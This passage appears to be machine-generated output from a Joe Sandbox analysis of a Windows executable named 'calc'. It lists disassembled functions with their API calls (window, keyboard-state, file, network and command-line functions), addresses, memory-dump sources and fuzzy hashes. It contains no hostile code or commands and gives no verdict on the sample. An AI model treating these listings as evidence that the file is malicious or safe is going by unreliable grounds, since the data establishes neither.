      • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0040B2A5
      • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 0040B2B4
      • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0040B2C0
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: Msctls_Progress32
      • API String ID: 3850602802-3636473452
      • Opcode ID: 937d72351a3cffb958232a75d02b7208b3851732dd46308458e1c1bc3b089544
      • Instruction ID: 52bfa3c8ca57206c5aefe15543c0d5c9767dcfa2ca37888765e00b3bca3ed78b
      • Opcode Fuzzy Hash: 937d72351a3cffb958232a75d02b7208b3851732dd46308458e1c1bc3b089544
      • Instruction Fuzzy Hash: C6114CB150020DBFEF119F51CC85EDA7F69EB083A8F11416AFA18361E1C7769C61DB98
      Function 00414469 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 52windowCOMMON
      Download Yara Rule
      APIs
      • GetModuleHandleW.KERNEL32(00000000,00000000,?,00000100,?,0045C6D0), ref: 0041448D
      • LoadStringW.USER32(00000000), ref: 00414496
      • GetModuleHandleW.KERNEL32(00000000,00000000,?,00000100), ref: 004144A5
      • LoadStringW.USER32(00000000), ref: 004144A8
      • MessageBoxW.USER32(0047BD30,?,?,00011010), ref: 004144EF
      Strings
      • %s (%d) : ==> %s: %s %s, xrefs: 004144CA
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: HandleLoadModuleString$Message
      • String ID: %s (%d) : ==> %s: %s %s
      • API String ID: 4072794657-3128320259
      • Opcode ID: 03e62e4c2e52b1cd091c8559f5e88ecf3355c8990eab41007b3b5120228d8c5d
      • Instruction ID: f482db0144711750f8ad3975750deea825f68ac064d00ccfce29163d0917d0ef
      • Opcode Fuzzy Hash: 03e62e4c2e52b1cd091c8559f5e88ecf3355c8990eab41007b3b5120228d8c5d
      • Instruction Fuzzy Hash: C8017CF690021DBBEB11AB94DD45FEB77ACEB48345F0040A2BB04E6081D6749E898BB4
      Function 00412305 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51fileCOMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412333
      • UnmapViewOfFile.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 0041234B
      • CloseHandle.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412354
      • FreeLibrary.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 0041236E
      • FreeLibrary.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412377
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseFreeHandleLibrary$FileUnmapView
      • String ID: #v
      • API String ID: 1520591543-554117064
      • Opcode ID: ee261d1f32630aecec2c7b1bcd55743022462c26821aa0ceee38b670e699d694
      • Instruction ID: 5533a16e1b451d4dcc0f1a1567ab867aa15705d93646e9a3881281f64c75d125
      • Opcode Fuzzy Hash: ee261d1f32630aecec2c7b1bcd55743022462c26821aa0ceee38b670e699d694
      • Instruction Fuzzy Hash: 3A01B131600A19BFDE209F74DD44B96B7A8FF00701B14052AFD64E3250D7A8ECA18AA8
      Function 0044C2B2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37threadCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetLastError.KERNEL32(?,00000000,0044D91A,0044C69D,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C,00449AC3), ref: 0044C2B4
      • FlsGetValue.KERNEL32(?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C2C2
      • FlsSetValue.KERNEL32(00000000,?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C2E9
      • GetCurrentThreadId.KERNEL32 ref: 0044C301
      • SetLastError.KERNEL32(00000000,?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C318
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorLastValue$CurrentThread
      • String ID: XF
      • API String ID: 526964173-166504293
      • Opcode ID: 0ce2ca5618a0c732420479d5d70867055caadec78b94139af839bb20ca1d17f1
      • Instruction ID: 1e9ca1f56f664176735d32dad2d1092eb4a2f929a253f0e119f46fcfb7a96736
      • Opcode Fuzzy Hash: 0ce2ca5618a0c732420479d5d70867055caadec78b94139af839bb20ca1d17f1
      • Instruction Fuzzy Hash: FDF0FC31503712DFE3302F61AD4D6563BA4EB00766F044529F986962A2DFB4CC008B99
      Function 0043C7EA Relevance: 9.2, APIs: 6, Instructions: 219fileCOMMON
      Download Yara Rule
      APIs
      • GetLastError.KERNEL32(00000000,00000000), ref: 0043C865
      • GetStdHandle.KERNEL32(000000F6,0045C6D0), ref: 0043C8C2
      • GetLastError.KERNEL32(00000000,00000000), ref: 0043C91E
      • GetExitCodeProcess.KERNEL32(?,?), ref: 0043C959
      • GetLastError.KERNEL32(00000000,00000000), ref: 0043C98E
        • Part of subcall function 00417DBC: CloseHandle.KERNEL32 ref: 00417DD8
        • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417DE6
        • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417DF4
        • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417E06
      • ReadFile.KERNEL32(00000000,?,000000FF,?,00000000), ref: 0043CA20
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Handle$Close$ErrorLast$ByteCharMultiWide$CodeExitFileProcessRead_strlen
      • String ID:
      • API String ID: 2518333764-0
      • Opcode ID: 88f7d1675431d1459f956e2285081511a60b043ee5b892d9ad6f6faf2ebf65cd
      • Instruction ID: 08a36f61e83a8decadca1c664de08f1ee49e3bfe3589df4b7dfc1e86d7019bb4
      • Opcode Fuzzy Hash: 88f7d1675431d1459f956e2285081511a60b043ee5b892d9ad6f6faf2ebf65cd
      • Instruction Fuzzy Hash: 4C81D371900259EFCF10EF65C8819EE7BB4AF08324F14566BF461B7291D7389E81CB59
      Function 0042F7A7 Relevance: 9.2, APIs: 6, Instructions: 198networkCOMMON
      Download Yara Rule
      APIs
      • inet_ntoa.WS2_32(?), ref: 0042F8FC
      • htons.WS2_32(?), ref: 0042F937
      • _strlen.LIBCMT ref: 0042F97A
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide_strlen$htonsinet_ntoa
      • String ID:
      • API String ID: 1318844614-0
      • Opcode ID: cd67db129efb8f5173a493d414af0b0d9195f8c984bf61e2210114829332a795
      • Instruction ID: c535e4b204a39ed9355a5e9411ff9199073cd6162e92b6e8affce4dc956cf509
      • Opcode Fuzzy Hash: cd67db129efb8f5173a493d414af0b0d9195f8c984bf61e2210114829332a795
      • Instruction Fuzzy Hash: FB61B331500124ABDB10EFA5D8819DFB7B8EF45324BA4417BF814EB281DB38DD85CBA9
      Function 004236D5 Relevance: 9.2, APIs: 6, Instructions: 188COMMON
      Download Yara Rule
      APIs
      • CoInitialize.OLE32(00000000), ref: 00423707
      • SHGetMalloc.SHELL32(?), ref: 00423714
      • SHGetDesktopFolder.SHELL32(?), ref: 00423799
      • SHBrowseForFolderW.SHELL32(?), ref: 00423877
      • SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0042389A
      • CoUninitialize.COMBASE ref: 004238E6
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Folder$BrowseDesktopFromInitializeListMallocPathUninitialize
      • String ID:
      • API String ID: 2328888689-0
      • Opcode ID: d1ca2607ed1fee0febd1e43b0f0d0ab9219c78b5fda21bd8a20f00a2eaf17138
      • Instruction ID: 9dfa527d82a11722d366a7158b9d2072c516f7a9572ea281cdfb609d7d1dcd87
      • Opcode Fuzzy Hash: d1ca2607ed1fee0febd1e43b0f0d0ab9219c78b5fda21bd8a20f00a2eaf17138
      • Instruction Fuzzy Hash: DF718EB5900219EFDB00EF95D8848CEB7B8FF48315B5481ABE505A7211DB38EE85CF98
      Function 00454706 Relevance: 9.2, APIs: 6, Instructions: 168COMMON
      Download Yara Rule
      APIs
      • GetStringTypeW.KERNEL32(00000001,00462758,00000001,?,0045C350,00000024,00000003), ref: 0045472A
      • GetLastError.KERNEL32 ref: 0045473C
      • GetStringTypeW.KERNEL32(?,?,?,?,0045C350,00000024,00000003), ref: 00454766
      • WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,0045C350,00000024,00000003), ref: 004547BE
      • WideCharToMultiByte.KERNEL32(?,00000000,?,?,?,00000000,00000000,00000000), ref: 00454841
      • GetStringTypeA.KERNEL32(?,?,?,00000000,?), ref: 004548D3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: StringType$ByteCharMultiWide$ErrorLast
      • String ID:
      • API String ID: 319667368-0
      • Opcode ID: d774335a5eb60515b520e5980ea5d1f4076856655fab326af866a11a2a422f9e
      • Instruction ID: 1c1d1a3cfd943f37dbf2ab9dcfc78d84780ba350647b4ec12e8bbc28cf15e5f7
      • Opcode Fuzzy Hash: d774335a5eb60515b520e5980ea5d1f4076856655fab326af866a11a2a422f9e
      • Instruction Fuzzy Hash: BF51A071800219EBDF219FA4DC458EF7BB4FF4975AB20412BF810A6262D3388D95DB98
      Function 00453BD4 Relevance: 9.1, APIs: 6, Instructions: 145COMMON
      Download Yara Rule
      APIs
      • GetStringTypeW.KERNEL32(00000001,00462758,00000001,?,0045C138,0000001C,0044EC56,00000001,?,00000001,?,?,?,00000001,?,?), ref: 00453BF8
      • GetLastError.KERNEL32(?,?,?,?,?,?,?,00000001,00000000,00455939,?), ref: 00453C0A
      • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0045C138,0000001C,0044EC56,00000001,?,00000001,?,?,?,00000001), ref: 00453C6C
      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 00453CEA
      • GetStringTypeW.KERNEL32(?,?,00000000,?), ref: 00453CFC
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiStringTypeWide$ErrorLast
      • String ID:
      • API String ID: 3581945363-0
      • Opcode ID: 4d8542683018f8ca4e023a399e4c5a5b297452bf1156c7379abd3ce24217161e
      • Instruction ID: 7b0bde08bb801c7efdf3f712f7aa1e62be76f32fac42d5e414aed62eba30da79
      • Opcode Fuzzy Hash: 4d8542683018f8ca4e023a399e4c5a5b297452bf1156c7379abd3ce24217161e
      • Instruction Fuzzy Hash: D641F531800215EBDF229F50DC49AAF3BB5EF08793F14011AFD10A6252D738CE59DBA9
      Function 00405E8E Relevance: 9.1, APIs: 6, Instructions: 121keyboardCOMMON
      Download Yara Rule
      APIs
      • GetCursorPos.USER32(?), ref: 00405E9B
      • ScreenToClient.USER32(?,?), ref: 00405EB8
      • GetAsyncKeyState.USER32(00000001), ref: 00405EFB
      • GetKeyState.USER32(00000001), ref: 00405F09
      • GetAsyncKeyState.USER32(00000002), ref: 00405F23
      • GetKeyState.USER32(00000002), ref: 00405F2C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: State$Async$ClientCursorScreen
      • String ID:
      • API String ID: 1890669589-0
      • Opcode ID: 301c061da2982d33ea52afccf9ac44063f1c88073db3f05418d096a3cc27a1ec
      • Instruction ID: a365285c24f84e057ec1b9af2304b33fffce20543d84946f93603c3a6ce3a238
      • Opcode Fuzzy Hash: 301c061da2982d33ea52afccf9ac44063f1c88073db3f05418d096a3cc27a1ec
      • Instruction Fuzzy Hash: 1E41AB71404A05EBCF208FA4C844BEFBBB4FF54325F20852AE565762D1C339A980CF19
      Function 00440AA4 Relevance: 9.1, APIs: 6, Instructions: 118windowCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0043F161: IsWindow.USER32(00000000), ref: 0043F18E
      • GetMenu.USER32(?), ref: 00440AE7
      • GetMenuItemCount.USER32(?), ref: 00440B09
      • GetMenuStringW.USER32(?,00000000,?,00007FFF,00000400), ref: 00440B35
      • GetMenuItemID.USER32(?,00000000), ref: 00440B9A
      • GetSubMenu.USER32(?,00000000), ref: 00440BA5
      • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00440BDC
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$Item$CountMessagePostStringWindow
      • String ID:
      • API String ID: 3481743490-0
      • Opcode ID: c5eb56268e673ec37d2787644ad4e8aa42fcdcd23d0f9ea16b643641fee1fbd1
      • Instruction ID: 7c069f666623686826f3ddcb0e2fe3ddab47299d4bb218ac2af1fa814190d89b
      • Opcode Fuzzy Hash: c5eb56268e673ec37d2787644ad4e8aa42fcdcd23d0f9ea16b643641fee1fbd1
      • Instruction Fuzzy Hash: 97419471A00218AFEB11AFA5DC45B9E77B8EF04318F10406BF615B7251D778AE518B9C
      Function 0040B6AE Relevance: 9.1, APIs: 6, Instructions: 93windowCOMMON
      Download Yara Rule
      APIs
      • ShowWindow.USER32(00000003,00000000), ref: 0040B705
      • EnableWindow.USER32(00000000,00000000), ref: 0040B719
      • ShowWindow.USER32(00000003,00000000), ref: 0040B766
      • ShowWindow.USER32(00000000,00000004), ref: 0040B76E
      • EnableWindow.USER32(00000000,00000001), ref: 0040B782
      • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0040B7A6
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$Show$Enable$MessageSend
      • String ID:
      • API String ID: 642888154-0
      • Opcode ID: 94d56c342f8d4eab854a69fc706c86c6b5cc5f2542955767c30093fee8fa4aa4
      • Instruction ID: a343d61098662c026a0e05134150219735869de3340b639ff4ce1e3fe93cd216
      • Opcode Fuzzy Hash: 94d56c342f8d4eab854a69fc706c86c6b5cc5f2542955767c30093fee8fa4aa4
      • Instruction Fuzzy Hash: 5F315C70500344EFD722DF28C888B967BE0EF85704F1405AAEA51AB2E2C778A994CB5D
      Function 0040CE65 Relevance: 9.1, APIs: 6, Instructions: 93COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _logf$Line
      • String ID:
      • API String ID: 3969295912-0
      • Opcode ID: 7e2386a04ee5375af61d30ea3763d67e5ddcd565e541af38a9463bf76d7220f1
      • Instruction ID: 021b2969e876ab9d9f3f238a6f546ee0806e31d252411d7e34cc42bcf1068359
      • Opcode Fuzzy Hash: 7e2386a04ee5375af61d30ea3763d67e5ddcd565e541af38a9463bf76d7220f1
      • Instruction Fuzzy Hash: BF31617150050AEFCF049F62EA495AE7F78FF50351F124169E881320A5D77898B6DF89
      Function 004536F2 Relevance: 9.1, APIs: 6, Instructions: 67COMMON
      Download Yara Rule
      APIs
      • GetCommandLineW.KERNEL32(00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453705
      • GetLastError.KERNEL32(?,0044BFA2,?,0045B1B8,00000060), ref: 00453717
      • GetCommandLineW.KERNEL32(00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453737
      • GetCommandLineA.KERNEL32(76230A60,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453742
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453758
